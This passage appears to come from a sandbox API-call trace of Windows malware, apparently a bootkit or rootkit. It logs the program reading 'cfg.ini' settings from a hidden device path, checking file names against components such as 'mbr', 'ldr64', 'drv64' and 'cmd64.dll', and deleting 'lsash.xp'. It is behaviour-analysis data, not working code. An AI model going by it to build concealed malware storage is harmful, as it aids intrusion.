out: Event=0xfffff880028b2620) [0123.297] IdePortDispatch () returned 0x103 [0123.297] KeWaitForMutexObject () returned 0x0 [0123.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] KeLeaveCriticalRegion () [0123.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.297] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.297] KeEnterCriticalRegion () [0123.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003482000 [0123.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.298] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.298] IdePortDispatch () returned 0x103 [0123.298] KeWaitForMutexObject () returned 0x0 [0123.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.298] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.298] IdePortDispatch () returned 0x103 [0123.298] KeWaitForMutexObject () returned 0x0 [0123.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.298] KeLeaveCriticalRegion () [0123.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.299] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.299] KeEnterCriticalRegion () [0123.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] KeLeaveCriticalRegion () [0123.299] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.299] KeEnterCriticalRegion () [0123.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.299] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] KeLeaveCriticalRegion () [0123.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.299] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.299] KeEnterCriticalRegion () [0123.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] KeLeaveCriticalRegion () [0123.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.299] ReleaseMutex (hMutex=0xf0) returned 1 [0123.299] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.299] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.299] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.299] KeEnterCriticalRegion () [0123.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.299] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.299] IdePortDispatch () returned 0x103 [0123.299] KeWaitForMutexObject () returned 0x0 [0123.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.300] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.300] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.300] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.301] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.301] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebf60 [0123.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] KeLeaveCriticalRegion () [0123.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.301] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.301] KeEnterCriticalRegion () [0123.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] KeLeaveCriticalRegion () [0123.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.301] KeEnterCriticalRegion () [0123.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.301] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.301] IdePortDispatch () returned 0x103 [0123.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] KeLeaveCriticalRegion () [0123.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.301] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.301] KeEnterCriticalRegion () [0123.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003483000 [0123.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.301] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.301] IdePortDispatch () returned 0x103 [0123.301] KeWaitForMutexObject () returned 0x0 [0123.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.302] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.302] IdePortDispatch () returned 0x103 [0123.302] KeWaitForMutexObject () returned 0x0 [0123.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.302] KeLeaveCriticalRegion () [0123.302] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.302] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.302] KeEnterCriticalRegion () [0123.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.302] KeLeaveCriticalRegion () [0123.303] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.303] KeEnterCriticalRegion () [0123.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] KeLeaveCriticalRegion () [0123.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.303] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.303] KeEnterCriticalRegion () [0123.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] ExFreePoolWithTag (P=0xfffffa8003bebf60, Tag=0x0) [0123.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] KeLeaveCriticalRegion () [0123.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.303] ReleaseMutex (hMutex=0xf0) returned 1 [0123.303] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.303] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.303] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.303] KeEnterCriticalRegion () [0123.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.303] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.303] IdePortDispatch () returned 0x103 [0123.303] KeWaitForMutexObject () returned 0x0 [0123.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.303] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.303] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.303] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.303] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.303] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2e50 [0123.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.303] KeLeaveCriticalRegion () [0123.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.303] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.304] KeEnterCriticalRegion () [0123.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.304] KeLeaveCriticalRegion () [0123.304] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.304] KeEnterCriticalRegion () [0123.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.304] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.304] IdePortDispatch () returned 0x103 [0123.304] KeWaitForMutexObject () returned 0x0 [0123.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.304] KeLeaveCriticalRegion () [0123.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.304] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.304] KeEnterCriticalRegion () [0123.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.304] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0123.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.304] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.304] IdePortDispatch () returned 0x103 [0123.304] KeWaitForMutexObject () returned 0x0 [0123.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.305] IdePortDispatch () returned 0x103 [0123.305] KeWaitForMutexObject () returned 0x0 [0123.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.305] KeLeaveCriticalRegion () [0123.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.305] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.305] KeEnterCriticalRegion () [0123.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.305] KeLeaveCriticalRegion () [0123.305] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.305] KeEnterCriticalRegion () [0123.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.305] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.305] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.306] KeLeaveCriticalRegion () [0123.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.306] KeEnterCriticalRegion () [0123.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.306] ExFreePoolWithTag (P=0xfffffa8003be2e50, Tag=0x0) [0123.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.306] KeLeaveCriticalRegion () [0123.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.306] ReleaseMutex (hMutex=0xf0) returned 1 [0123.306] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.306] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.306] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.306] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.306] KeEnterCriticalRegion () [0123.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.306] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.306] IdePortDispatch () returned 0x103 [0123.306] KeWaitForMutexObject () returned 0x0 [0123.306] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.306] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.306] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.306] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.306] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.306] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.306] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.306] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.306] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.306] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.306] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.306] KeLeaveCriticalRegion () [0123.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.307] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.307] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.307] KeEnterCriticalRegion () [0123.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.307] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.307] IdePortDispatch () returned 0x103 [0123.307] KeWaitForMutexObject () returned 0x0 [0123.307] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.307] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.307] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.307] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.307] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.307] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.307] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.307] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.307] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.307] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.307] KeLeaveCriticalRegion () [0123.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.307] ReleaseMutex (hMutex=0x100) returned 1 [0123.307] Sleep (dwMilliseconds=0x2bf20) [0123.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cb2ed30, dwHighDateTime=0x1d24fa4)) [0123.314] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.314] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.314] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.314] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 